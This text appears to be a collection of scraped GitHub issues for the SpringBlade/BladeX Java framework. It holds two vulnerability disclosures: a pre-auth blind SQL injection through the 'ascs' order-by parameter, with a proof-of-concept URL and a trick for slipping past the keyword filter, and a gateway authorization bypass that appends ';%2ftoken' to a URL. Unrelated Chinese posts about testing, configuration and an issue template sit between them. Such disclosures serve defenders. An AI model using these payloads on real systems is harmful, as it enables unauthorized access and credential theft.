tl;dr Flaws in DAO/DTO implementation allows SQLi in order by clause. User token and/or password hash disclosed in pre-auth APIs of which are vulnerable to SQLi above as well.

detail

/api/blade-log/api/list

is exposed by default install. For instance, the demo site.

'Refresh token' can be used to exchange for a valid jwt ticket, or in a different way to compromise user account, log in with credential cracked from leaking md5 hash.

Before actually stepping into the system, let's see what's else we could find on this API.

Request handling looks a lot like this

	/**
	 * 查询多条(分页)
	 */
	@GetMapping("/list")
	public R<IPage<LogUsualVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
		IPage<LogUsual> pages = logService.page(Condition.getPage(query), Condition.getQueryWrapper(log, LogUsual.class));
		List<LogUsualVo> records = pages.getRecords().stream().map(logApi -> {
			LogUsualVo vo = BeanUtil.copy(logApi, LogUsualVo.class);
			vo.setStrId(Func.toStr(logApi.getId()));
			return vo;
		}).collect(Collectors.toList());
		IPage<LogUsualVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
		pageVo.setRecords(records);
		return R.data(pageVo);
	}

Condition.getPage() casts a few params to Int and replace 'bad words' with blank string in 'ascs' and 'desc' (which are then pasted into order by clause)

    public static <T> IPage<T> getPage(Query query) {
        Page<T> page = new Page((long)Func.toInt(query.getCurrent(), 1), (long)Func.toInt(query.getSize(), 10));
        page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
        page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
        return page;
    }

the Condition.getQueryWrapper() thing is a sort of indicator for batis data model, apart from being a type indicator it is in charge of building statement. after a few delegates and overrides it gets invoked in the way below

    public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
        exclude.forEach((k, v) -> {
            query.remove(k);
        });
        QueryWrapper<T> qw = new QueryWrapper();
        qw.setEntity(BeanUtil.newInstance(clazz));
        SqlKeyword.buildCondition(query, qw);
        return qw;
    }

Only seen tokenization stuffs in SqlKeyword.buildCondition(). At this stage, pre-auth visitors can perform SQLi by providing malicious query.get[AD]scs() values, which were directly taken from reuqest as strings, if SqlKeyword.filter() isn't too strong, right?

    public static String filter(String param) {
        return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
    }

Simply 'double-write' (eg, select -> selselectect) to bypass while doing real world exploitation. filter won't interfere with POCs below. Notice comma char (%2c) gets picked up and replaced in deeper delegate.

Iterate placeholder 1 and 97 in URL below (params decoded) from 1 to 20ish and 97 to 123 respectively.

/api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97

by comparing response length, pick out uncommon returns, record relating iterator nums, gets you a ascii sequence of [98,108,97,100,101,120,?,108,111,99,97,108,104,111,115,116,?......] non-lowercase-alphabet chars are marked as '?'.

this gets you current db user.

>>> ''.join(map(chr,[98,108,97,100,101,120,63,108,111,99,97,108,104,111,115,116]))
'bladex?localhost'

post script the actul /api/blade-log/api/list sets a fixed "desc", is vulne to malicious "ascs" only.

IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));

下面是库存减少的代码片段，出自org.springblade.seata.storage.service.impl.StorageServiceImpl

@Override @Transactional(rollbackFor = Exception.class) public int deduct(String commodityCode, int count) { Storage storage = baseMapper.selectOne(Wrappers.query().lambda().eq(Storage::getCommodityCode, commodityCode)); if (storage.getCount() < count) { throw new RuntimeException("超过库存数，扣除失败！"); } storage.setCount(storage.getCount() - count); return baseMapper.updateById(storage); }

• 看到文档介绍，好强大，都心动要自己付费了
• 创建第一个demo
  • what？要改启动类的main方法？emmm.....好吧。
  • what？appName要在main方法传进去？这不是应该从application.yml或者bootstrap.yml读取的吗？ emmm....好吧。
• 好奇的进入自定义启动类看看
  • what？activeProfile默认是dev？我不能不设置activeProfile吗？现在的微服务，不同环境的配置都会在配置中心管理了。
  • what？activeProfile不能有多个？为啥要有这个限制？给我个合适的理由？
  • what？isLocalDev就判断一下系统是不是linux系统?我不能在ubuntu使用这个框架开发？
  • what？allow-bean-definition-overriding=true？bean有冲突就说明了有坑，直接覆盖而不是找问题？真粗暴。
  • what？file-extension只能是yml？我为啥不能是properties？
  • what？LogLauncherServiceImpl直接写死日志配置路径？。。。。

我默默地整理了一下凌乱的思路。。。

这个测试类该怎么写？

我正常运行SpiderApplication没问题，但是写到测试类里就出现找不到blade.env，我哪里写错了吗？

运行报错： Could not resolve placeholder 'blade.env' in value "classpath:log/logback_${blade.env}.xml"

docker run bladex/sentinel-dashboard, how to set -Dcsp.sentinel.dashboard.server=localhost:8080 -Dsentinel.dashboard.auth.username=sentinel -Dsentinel.dashboard.auth.password=123456

@SpringBootTest上已经有@ExtendWith(SpringExtension.class)注解,当使用@BladeBootTest自定义注解和@MockBean时 org.junit.jupiter.engine.descriptor.ClassBasedTestDescriptor#invokeTestInstancePostProcessors TestInstancePostProcessor类型会有两次执行

org.springframework.boot.test.mock.mockito.MockitoPostProcessor#inject(java.lang.reflect.Field, java.lang.Object, org.springframework.boot.test.mock.mockito.Definition) 最终会出现cannot have an existing value

官方也给出了相应的说明： If you are using JUnit 4, don’t forget to also add @RunWith(SpringRunner.class) to your test, otherwise the annotations will be ignored. If you are using JUnit 5, there’s no need to add the equivalent @ExtendWith(SpringExtension.class) as @SpringBootTest and the other @…Test annotations are already annotated with it.

为了让大家更高效地交流，请大家前往Blade技术社区按照规范的格式发帖提问。

技术社区地址：https://sns.bladex.vip

一、该问题的重现步骤是什么？

二、你期待的结果是什么？实际看到的又是什么？

三、你正在使用的是什么产品，什么版本？在什么操作系统上？

四、请提供详细的错误堆栈信息，这很重要。

五、若有更多详细信息，请在下面提供。

src/main/java/org/springblade/gateway/filter/AuthFilter.java

isSkip() method in AuthFilter.java, url.replace(AuthProvider.TARGET, AuthProvider.REPLACEMENT)) is equal to url.replace("/**", ""), which is to remove /** in defaultSkipUrl then determines whether the path contains one of the URLs.

Note that contains is used, that is, path::contains, which means that as long as the incoming path contains the URL in /token or defaultSkipUrl, authorization can be bypassed.

You can use the URL parsing feature to add ;%2ftoken after the request to be considered that the Url contains the /token, and the route can be correctly resolved by the gateway, resulting in unauthorized access.

The origin without Blade-Auth is blocked. http://localhost/blade-gateway/discovery/instances

Add %2ftoken to the end of the URL to bypass authorization. http://localhost/blade-gateway/discovery/instances;%2ftoken